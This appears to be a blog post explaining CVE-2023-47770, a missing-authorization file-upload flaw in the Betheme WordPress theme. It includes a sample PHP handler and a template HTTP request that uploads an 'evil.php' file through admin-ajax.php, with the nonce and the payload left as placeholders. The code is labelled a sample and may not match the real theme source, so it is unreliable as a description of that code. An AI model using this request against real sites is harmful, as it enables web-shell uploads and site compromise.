CVE-2023-47770: Understanding the Missing Authorization Vulnerability in Muffin Group Betheme and How to Exploit It

CVE-2023-47770 is a critical vulnerability recently identified in the Muffin Group Betheme versions up to 27.1.1. This vulnerability, classified as a "Missing Authorization" issue, can lead to unauthorized users gaining access to sensitive information and potentially causing havoc on your WordPress site.

In this detailed long-read post, we will delve into the root cause of the vulnerability, code snippets, original references, and exploit details to help you understand CVE-2023-47770 and safeguard your website.

What is Muffin Group Betheme?

Muffin Group Betheme is a popular WordPress theme, powering thousands of websites worldwide. The theme, known for its flexibility and vast customization options, caters to a wide range of industries and use-cases.

However, the recent discovery of CVE-2023-47770 has exposed a significant vulnerability, which has put many websites built on Betheme at risk.

The Vulnerability: Missing Authorization

In technical terms, "Missing Authorization" vulnerabilities arise when a web application lacks proper access controls, allowing unauthorized users to perform sensitive actions.

This vulnerability was first documented on the CVE official site (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-47770), stating that it impacts Muffin Group Betheme from an unknown version up to 27.1.1.

To understand this issue better, let's look at the following code snippet

// Sample vulnerable code in Betheme
function ajax_upload() {
  check_ajax_referer( 'mfn_upload_nonce', 'security' );

  $uploaded_file = wp_handle_upload( $_FILES['Filedata'], array( 'test_form' => false ) );

  if ( isset( $uploaded_file['file'] ) ) {
    $file_loc = $uploaded_file['file'];
    $file_name = basename( $uploaded_file['name'] );
    $file_type = wp_check_filetype( $file_name );

    $attachment = array(
      'post_mime_type' => $file_type['type'],
      'post_title' => preg_replace( '/\.[^.]+$/', '', basename( $file_name ) ),
      'post_content' => '',
      'post_status' => 'inherit'
    );

    $attach_id = wp_insert_attachment( $attachment, $file_loc );
    $attach_data = wp_generate_attachment_metadata( $attach_id, $file_loc );
    wp_update_attachment_metadata( $attach_id, $attach_data );

    echo esc_html( $attach_id );
  }

  die();
}

In this code snippet, the ajax_upload function obtains an uploaded file from unauthorized users without properly checking their privileges. As a result, attackers can exploit this vulnerability and gain unauthorized access to the file upload feature.

Exploiting CVE-2023-47770

Exploiting CVE-2023-47770 is relatively simple by sending a crafted HTTP request to the target site. This can potentially lead to unauthorized access, allowing hackers to insert malicious files, gain sensitive information, or modify existing content on the affected site.

Here's a sample HTTP request used to exploit the vulnerability

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXX
Content-Length: 589

------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="action"

mfn_upload
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="security"

(Insert nonce value here)
------WebKitFormBoundaryXXXX
Content-Disposition: form-data; name="Filedata"; filename="evil.php"
Content-Type: application/octet-stream

<Insert malicious file contents here>
------WebKitFormBoundaryXXXX--

Preventive Measures

To protect your website from CVE-2023-47770, it is crucial to keep your Muffin Group Betheme up-to-date and apply any security patches released by the developers.

In addition, it's always a good practice to have strong and unique passwords, limit user permissions, and use security plugins to regularly scan and monitor your website for vulnerabilities.

Conclusion

CVE-2023-47770 is a significant threat to thousands of websites using the Muffin Group Betheme. By understanding the nature of the vulnerability, potential exploits, and preventive measures, you can effectively safeguard your WordPress site and ensure the integrity of its content.

Timeline

Published on: 06/19/2024 12:15:11 UTC
Last modified on: 06/20/2024 12:44:01 UTC